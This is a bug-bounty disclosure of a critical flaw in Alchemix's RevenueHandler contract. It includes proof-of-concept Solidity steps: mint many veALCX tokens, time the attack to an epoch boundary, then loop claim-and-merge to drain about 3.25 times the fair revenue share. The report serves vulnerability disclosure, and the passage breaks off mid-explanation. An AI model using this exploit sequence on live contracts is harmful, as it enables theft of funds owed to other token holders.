30972 - [SC - Critical] Theft of unclaimed yield of the revenue in the ...

Theft of unclaimed yield of the revenue in the RevenueHandler contract by claimming and merge the tokens

Submitted on May 9th 2024 at 23:19:54 UTC by @perseverance for Boost | Alchemix

Report ID: #30972

Report type: Smart Contract

Report severity: Critical

Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RevenueHandler.sol

Impacts:

• Theft of unclaimed royalties

• Theft of unclaimed yield

Description

Description

Brief/Intro

Theft of unclaimed yield of the revenue in the RevenueHandler contract by claimming and merge the tokens bug.

RevenueHandler contract is to distributes protocol revenue to veToken holders.

This contract can receive the ERC20 token and users with VeALCX tokens can receive the rewards by calling the function

https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RevenueHandler.sol#L186-L225

function claim(
        uint256 tokenId,
        address token,
        address alchemist,
        uint256 amount,
        address recipient
    ) external override {
        require(IVotingEscrow(veALCX).isApprovedOrOwner(msg.sender, tokenId), "Not approved or owner");

        uint256 amountBurned = 0;

        uint256 amountClaimable = _claimable(tokenId, token);
        
        // Redacted for simplicity

        if (amountBurned < amount) {
            IERC20(token).safeTransfer(recipient, amount - amountBurned); // @audit-issue Nếu alchemists[alchemist] == address(0) thì không cần phải burn và có thể chuyển tối đa amountClaimable cho recipient. Chỉ cần msg.sender là owner hoặc approved. 
        }

        emit ClaimRevenue(tokenId, token, amount, recipient);
    }

The claimable amount of a user is calculated based on the token balance at each epoch as in the internal function

https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RevenueHandler.sol#L297-L326

     function _claimable(uint256 tokenId, address token) internal view returns (uint256) {
        uint256 totalClaimable = 0;
        uint256 lastClaimEpochTimestamp = userCheckpoints[tokenId][token].lastClaimEpoch;
        if (lastClaimEpochTimestamp == 0) {
            /*
                If we get here, the user has not yet claimed anything from the RevenueHandler.
                We need to get the first epoch that they deposited so we know where to start tallying from.
            */
            // Get index of first epoch
            uint256 lastUserEpoch = IVotingEscrow(veALCX).userFirstEpoch(tokenId);
            // Get timestamp from index
            lastClaimEpochTimestamp = (IVotingEscrow(veALCX).pointHistoryTimestamp(lastUserEpoch) / WEEK) * WEEK - WEEK;
        }
        /*
            Start tallying from the "next" epoch after the last epoch that they claimed, since they already
            claimed their revenue from "lastClaimEpochTimestamp".
        */
        for (
            uint256 epochTimestamp = lastClaimEpochTimestamp + WEEK;
            epochTimestamp <= currentEpoch;
            epochTimestamp += WEEK
        ) {
            uint256 epochTotalVeSupply = IVotingEscrow(veALCX).totalSupplyAtT(epochTimestamp);
            if (epochTotalVeSupply == 0) continue;
            uint256 epochRevenue = epochRevenues[epochTimestamp][token];
            uint256 epochUserVeBalance = IVotingEscrow(veALCX).balanceOfTokenAt(tokenId, epochTimestamp);
            totalClaimable += (epochRevenue * epochUserVeBalance) / epochTotalVeSupply;
        }
        return totalClaimable + userCheckpoints[tokenId][token].unclaimed;
    }

Each time when the function checkpoint() is called then currentEpoch is updated with the current epoch.

So after this RevenueHandler receive some token then the VeAlcx token holders will receive the reward and can claim these rewards by calling claim function in the RevenueHandler() contract.

The vulnerability

Vulnerability Details

For easier to understand, I will explain the bug with some POC code and some data to easier to follow.

Now the attacker can theft of the token in this contract to get several times bigger than intended by Alchemix DAO system. Suppose that the Revenue Handler contract receive 1000 * e18 DAI token. Suppose that a user is to be receive 200 * e18 DAI token because he has locked 10 * e18 BPT into the Voting Escrow contract. (suppose: The total amount of lock BPT is 100 * e18 BPT).

Now the attacker can manipulate the system top get several times bigger then the intended amount of DAI token. I can demonstrate in the POC section that the attacker can get 650 * e18 DAI token that is 3.25 times bigger than the intended amount.

How to do that?

Step 1: To prepare for the attack, the attacker will mint many tokenIds. Suppose the attacker has 10 *e18 BPT as the capital. He will mint 10 tokenIds with each token lock e18 BPT.

 for (uint256 i = 0; i < count; i++) {
           tokenIds[i] =  createVeAlcx(attacker, TOKEN_1, 4 weeks, false);
} 

Step 2: Wait for the contract RevenueHandler to receive some token. For example in this POC, it is 1000* 10^18 DAI

Step3: The attacker will choose to launch the attack in the block that have block.timestamp = nearest timestamp that have modulo 2 weeks is zero.

    uint256 internal constant WEEK = 2 weeks;
    console2.log("Choose the block.timestamp to be exact time that have modulo WEEK equal to 0"); 
    hevm.warp((block.timestamp / WEEK) * WEEK + WEEK ) ; // The block.timestamp % WEEK = 0 

This block.timestamp is important. It is possible to do so, because the Ethereum block now is exact 12 seconds a block. See references: https://ethereum.org/en/developers/docs/blocks/

So attacker can choose to launch the attack.

Step 4: The attacker will continuously call the sequence in an attack contract

    for (uint256 i = 0; i < count-1; ++i) {
            
            revenueHandler.checkpoint();
            console2.log("i: %s", i);
            tokenId1 = tokenIds[i]; 
            tokenId2 = tokenIds[i+1]; 
            claimable = revenueHandler.claimable(tokenId1, dai);
            console2.log("claimable: %s", claimable);
            revenueHandler.claim(tokenId1, dai, address(0x00), claimable, address(this));
            veALCX.merge(tokenId1, tokenId2);

        }
        
        revenueHandler.checkpoint();
        claimable = revenueHandler.claimable(tokenIds[count-1], dai);            
        console2.log("claimable: %s", claimable);
        revenueHandler.claim(tokenIds[count-1], dai, address(0x00), claimable, address(this));

The attack is done. Check the DAI balance of the attacker.

```solidity
console2.log("Balance of the attacker: %s",IERC20(dai).balanceOf(attacker));
```

Why this is possible?

Because in the function _claimable() above the totalClaimable is calculated

    for (
            uint256 epochTimestamp = lastClaimEpochTimestamp + WEEK;
            epochTimestamp <= currentEpoch;
            epochTimestamp += WEEK
        ) {
            uint256 epochTotalVeSupply = IVotingEscrow(veALCX).totalSupplyAtT(epochTimestamp);
            if (epochTotalVeSupply == 0) continue;
            uint256 epochRevenue = epochRevenues[epochTimestamp][token];
            uint256 epochUserVeBalance = IVotingEscrow(veALCX).balanceOfTokenAt(tokenId, epochTimestamp);
            totalClaimable += (epochRevenue * epochUserVeBalance) / epochTotalVeSupply;
        }

So the loop is from lastClaimEpochTimestamp + WEEK to currentEpoch and totalClaimable is a sum of the epochRevenue * epochUserVeBalance / epochTotalVeSupply.

So the epochTimestamp is calculated based and the loop would go up until currentEpoch. This storage variable is updated in checkpoint() function.

Also for this attack, the tokenConfig.poolAdapter is zero and the ERC20 token reward stays in the contract.

When the ERC20 stays in the contract, then everytime checkpoint() is called then the epochRevenues got updated.

https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RevenueHandler.sol#L228-L231

            uint256 thisBalance = IERC20(token).balanceOf(address(this));